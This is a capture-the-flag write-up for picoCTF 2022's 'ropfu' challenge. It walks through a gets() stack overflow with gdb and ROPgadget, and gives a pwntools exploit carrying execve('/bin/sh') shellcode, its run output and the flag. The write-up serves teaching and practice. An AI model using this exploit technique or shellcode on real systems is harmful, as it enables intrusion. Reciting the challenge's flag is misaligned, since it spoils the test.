Tags: without_automaticrops 

Rating:

# rpofu - picoCTF 2022 - CMU Cybersecurity Competition
Binary Exploitation, 300 Points

## Description

![‏‏info.JPG](images/info.JPG)

## rpofu Solution

Let's observe the attached file [vuln.c](./vuln.c):
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();

}
```

Let's run ```checksec``` on the attached file [vuln](./vuln):
```console
┌─[evyatar@parrot]─[/pictoctf2022/binary_exploitation/ropfu]
└──╼ $ checksec vuln
[*] '/pictoctf2022/binary_exploitation/ropfu/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
```

Partial RELRO, No canary and no PIE and also no NX.

So according to the challenge name/description, we know that we need to use [ROP](https://ctf101.org/binary-exploitation/return-oriented-programming/).

Let's see what is the offset between ```buf``` to ```EIP``` using ```gdb```.
```asm
gef➤ r
Starting program: /pictoctf2022/binary_exploitation/ropfu/vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
AAAAAAAA

gef➤ search-pattern AAAAAAAA
[+] Searching 'AAAAAAAA' in memory
[+] In '[heap]'(0x80e7000-0x8109000), permission=rwx
0x80e8330 - 0x80e833a → "AAAAAAAA\n"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffd050 - 0xffffd058 → "AAAAAAAA"
gef➤ i f
Stack level 0, frame at 0xffffd070:
eip = 0x8049dd0 in vuln; saved eip = 0x8049e2a
called by frame at 0xffffd0a0
Arglist at 0xffffd068, args:
Locals at 0xffffd068, Previous frame's sp is 0xffffd070
Saved registers:
eip at 0xffffd06c
```

```buf``` locate on ```0xffffd050``` and ```EIP``` on ```0xffffd06c``` the offset is ```28``` bytes.

Let's set a breakpoint on ```ret``` instruction on ```vuln``` function:
```asm
gef➤ disassemble vuln
Dump of assembler code for function vuln:
0x08049d95 <+0>: endbr32
0x08049d99 <+4>: push ebp
0x08049d9a <+5>: mov ebp,esp
0x08049d9c <+7>: push ebx
0x08049d9d <+8>: sub esp,0x14
0x08049da0 <+11>: call 0x8049c70 <__x86.get_pc_thunk.bx>
0x08049da5 <+16>: add ebx,0x9b25b
0x08049dab <+22>: sub esp,0xc
0x08049dae <+25>: lea eax,[ebx-0x30ff8]
0x08049db4 <+31>: push eax
0x08049db5 <+32>: call 0x8051d40 <puts>
0x08049dba <+37>: add esp,0x10
0x08049dbd <+40>: sub esp,0xc
0x08049dc0 <+43>: lea eax,[ebp-0x18]
0x08049dc3 <+46>: push eax
0x08049dc4 <+47>: call 0x8051b70 <gets>
0x08049dc9 <+52>: add esp,0x10
0x08049dcc <+55>: mov ebx,DWORD PTR [ebp-0x4]
0x08049dcf <+58>: leave
0x08049dd0 <+59>: ret
End of assembler dump.
gef➤ b * 0x08049dd0
Breakpoint 1 at 0x8049dd0
```

Now, Let's see the registers at this moment:
```asm
───────────────────────────────────── registers ───────────────────────────────────────────────────────
$eax : 0xffffd050 → "AAAAAAAA"
$ebx : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$ecx : 0x080e5300 → <_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah
$edx : 0xffffd058 → 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$esp : 0xffffd06c → 0x08049e2a → <main+89> mov eax, 0x0
$ebp : 0xffffd088 → 0x00000000
$esi : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$edi : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$eip : 0x08049dd0 → <vuln+59> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063

```

We can see ```eax``` register point to the start of the buffer, and by using ```vmmap``` we can see the address of the ```buf``` (which is ```0xffffd050```) on the executable stack area:
```asm
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x080e3000 0x00000000 r-x /pictoctf2022/binary_exploitation/ropfu/vuln
0x080e3000 0x080e5000 0x0009a000 r-x /pictoctf2022/binary_exploitation/ropfu/vuln
0x080e5000 0x080e7000 0x0009c000 rwx /pictoctf2022/binary_exploitation/ropfu/vuln
0x080e7000 0x08109000 0x00000000 rwx [heap]
0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
```

So we can write the shellcode right after the return address, and on ```buf``` we can jump to this area.

First, Let's find the gadget using [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) to jump to ```eax``` which is the start of the ```buf```:
```console
┌─[evyatar@parrot]─[/pictoctf2022/binary_exploitation/ropfu]
└──╼ $ ROPgadget --binary vuln | grep "jmp eax"
0x08057c12 : adc al, 0x5e ; pop edi ; jmp eax
0x0807162d : adc al, 0x89 ; fcomp dword ptr [ebx + 0x5e] ; pop edi ; pop ebp ; jmp eax
0x08085878 : adc al, ah ; mov eax, dword ptr [ecx + eax*4] ; jmp eax
0x0808632a : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x15c0] ; jmp eax
0x08085538 : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x1640] ; jmp eax
0x0808628a : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x16c0] ; jmp eax
...
0x0805334b : jmp eax
...

```

We can see the gadget ```0x0805334b : jmp eax``` and that's exactly what we need.

Now, We need to find a command to jump to address after the return address.

```call``` instruction pushes the current value of the ```EIP``` register (return address) to the stack + does the call to ```vuln``` function,
```ret``` instruction pops the return address(that call pushed) from the top of the stack (```ESP``` register points there) and writes it in the ```EIP``` register.

So ```jmp ESP``` will jmp to ```ESP``` location where ```ESP``` is pointing at the location below the return address which is where our shellcode is.

The instruction ```jmp ESP``` is ```\xFF\xE4``` ([https://defuse.ca/online-x86-assembler.htm#disassembly](https://defuse.ca/online-x86-assembler.htm#disassembly)), you can understand ```ESP``` contains the return address [here](https://pages.cs.wisc.edu/~remzi/Classes/354/Fall2012/Handouts/Handout-CallReturn.pdf).

So Let's solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html):
```python
from pwn import *

elf = ELF('./vuln')

if args.REMOTE:
p = remote('saturn.picoctf.net', 57347)
else:
p = process(elf.path)

# payload buffer
payload = b"\x90"*6 # nop sled
payload += b"\xFF\xE4" # jmp esp - jump to the shell code right after the return address
payload += b"\x90"*20 # nop sled
payload += p32(0x0805334b) # jmp eax - will jump to start of buf which jump again to the shell code right after the return address
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # shell code

print(p.recvuntil('!'))
p.sendline(payload)
p.interactive()
```

Run it:
```console
┌─[evyatar@parrot]─[/pictoctf2022/binary_exploitation/ropfu]
└──╼ $ python3 exp.py REMOTE
[*] '/pictoctf2022/binary_exploitation/ropfu/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Opening connection to saturn.picoctf.net on port 57347: Done
b'How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!'
[*] Switching to interactive mode

$ ls
flag.txt
vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_029ab653}
$

```

And we get the flag ```picoCTF{5n47ch_7h3_5h311_029ab653}```.

Original writeup (https://github.com/evyatar9/Writeups/tree/master/CTFs/2022-picoCTF2022/Binary_Exploitation/300-ropfu).